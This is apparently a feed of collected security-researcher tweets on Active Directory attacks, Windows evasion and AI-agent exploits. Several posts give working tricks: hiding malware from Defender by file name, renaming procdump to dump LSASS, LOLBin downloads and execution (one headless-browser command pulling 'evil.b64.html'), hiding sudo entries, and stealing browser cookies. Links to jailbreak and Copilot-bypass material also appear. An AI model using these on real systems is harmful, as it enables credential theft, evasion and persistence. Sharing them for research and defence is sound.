Jumbo

中国白客联盟-BUC

[Panos Gkatziroulis 🦄 @ipurple]

Atomic Red Team MCP #2 - Claude becomes C2 https://t.co/D5xDTo5jiW

[jro @junr0n]

I bypassed user approvals and achieved RCE in VS Code Copilot by flipping 4 bits.

Find out how: https://t.co/lKU2BisgsQ

Thanks to @msftsecresponse for rapidly triaging and patching this vulnerability.

[Jumbo @Jumbo_WJB]

#github follow organization# github又不能关注组织了，我真服了

[ESET Latinoamérica @ESETLA]

⚠️ Falso sitio de #Capcut que ofrece crear videos con #InteligenciaArtificial descarga malware.

Abrimos hilo para analizar un ejemplo reciente que busca aprovechar el interés por la creación de videos con IA para infectar a sus víctimas con #malware.

[Clandestine @akaclandestine]

GitHub - CyberAlbSecOP/Awesome_GPT_Super_Prompting: ChatGPT Jailbreaks, GPT Assistants Prompt Leaks, GPTs Prompt Injection, LLM Prompt Security, Super Prompts, Prompt Hack, Prompt Security, Ai Prompt Engineering, Adversarial Machine Learning. https://t.co/30vKOD5Z8w

[Panos Gkatziroulis 🦄 @ipurple]

Exploit AD CS misconfiguration allowing privilege escalation and persistence from any child domain to full forest compromise https://t.co/KuAeMC1QAQ

[Alex Neff @al3x_n3ff]

NetExec has a new Module: Timeroast🔥

In AD environments, the DC hashes NTP responses with the computer account NT hash. That means that you can request and brute force all computer accounts in a domain from an UNAUTHENTICATED perspective!

Implemented by @Disgame_

1/3🧵

[Andy Robbins @_wald0]

Have Docker? Run BloodHound CE with one command:

curl -L https://t.co/xodEpos3fh | docker compose -f - up

[an0n @an0n_r0]

what a wonderful technique for stealing chrome/edge cookies without knowing the user password via chrome debug mode by @mangopdf:

https://t.co/T2ct1WI6e3

have not known it before (what a shame😄), although it is 4+ yrs old and still working.

here it is, demo using Sliver C2.🔥

[Craig H. Rowland @CraigHRowland]

Did you know the file /etc/sudoers.d/README is not just documentation, but a handy place to hide valid sudo user entries?

[Oliver Lyak @ly4k_]

The first blog post is here. This one covers the technical details of CVE-2022-26923 (Active Directory Domain Services Elevation of Privilege Vulnerability).

The vulnerability was patched as part of the May 2022 Security Updates from Microsoft.

https://t.co/MJKEoZTuo2

[Jumbo @Jumbo_WJB]

Search for msDS-AllowedToActOnBehalfOfOtherIdentity for more Computer Shell
https://t.co/R14g2YU48t
https://t.co/ixxF6JirvN

[Jumbo @Jumbo_WJB]

If you have a special user, you can do Resource-based Constrained Delegation
https://t.co/5WC3Cuqbhy

[Antonio Cocomazzi @splinter_code]

Windows Defender AV allows Everyone to read the configured exclusions on the system 🤦

reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s

[Jumbo @Jumbo_WJB]

可能是已经更新的缘故，测试并未成功。

[mr.d0x @mrd0x]

Bypass Defender AV static detection:

If you name a malicious file DumpStack.log Defender doesn't scan it.

[mr.d0x @mrd0x]

Another way to download files using msedge/chrome:

[msedge.exe | chrome.exe] --headless --enable-logging --disable-gpu --dump-dom "http://server/evil.b64.html" > out.b64

- Downloaded file should end with .html.
- Binaries should be encoded.

[mr.d0x @mrd0x]

LOLBIN(s): mpiexec.exe & smpd.exe
Path: C:\Program Files\Microsoft MPI\Bin

mpiexec.exe spawns smpd.exe which then spawns an executable.

Usage: mpiexec.exe -n 1 c:\path\to\binary.exe

(1/2)

[mr.d0x @mrd0x]

If you rename procdump.exe to dump64.exe and place it in the "C:\Program Files (x86)\Microsoft Visual Studio\*" folder, you can bypass Defender and dump LSASS.

[Elliot @ElliotKillick]

Need to go under the radar downloading #mimikatz (and other suspect payloads)? Then newly discovered #lolbin "C:\Windows\System32\Cmdl32.exe" (signed by MS) is for you. It's like a new certutil.exe but absolutely unheard of by any antivirus software!

[adr @aaaddress1]

write an EXE into any file's NTFS stream, and run it as a process. We can delete the file, even the process is still running :)

it's cool how Windows manage file locks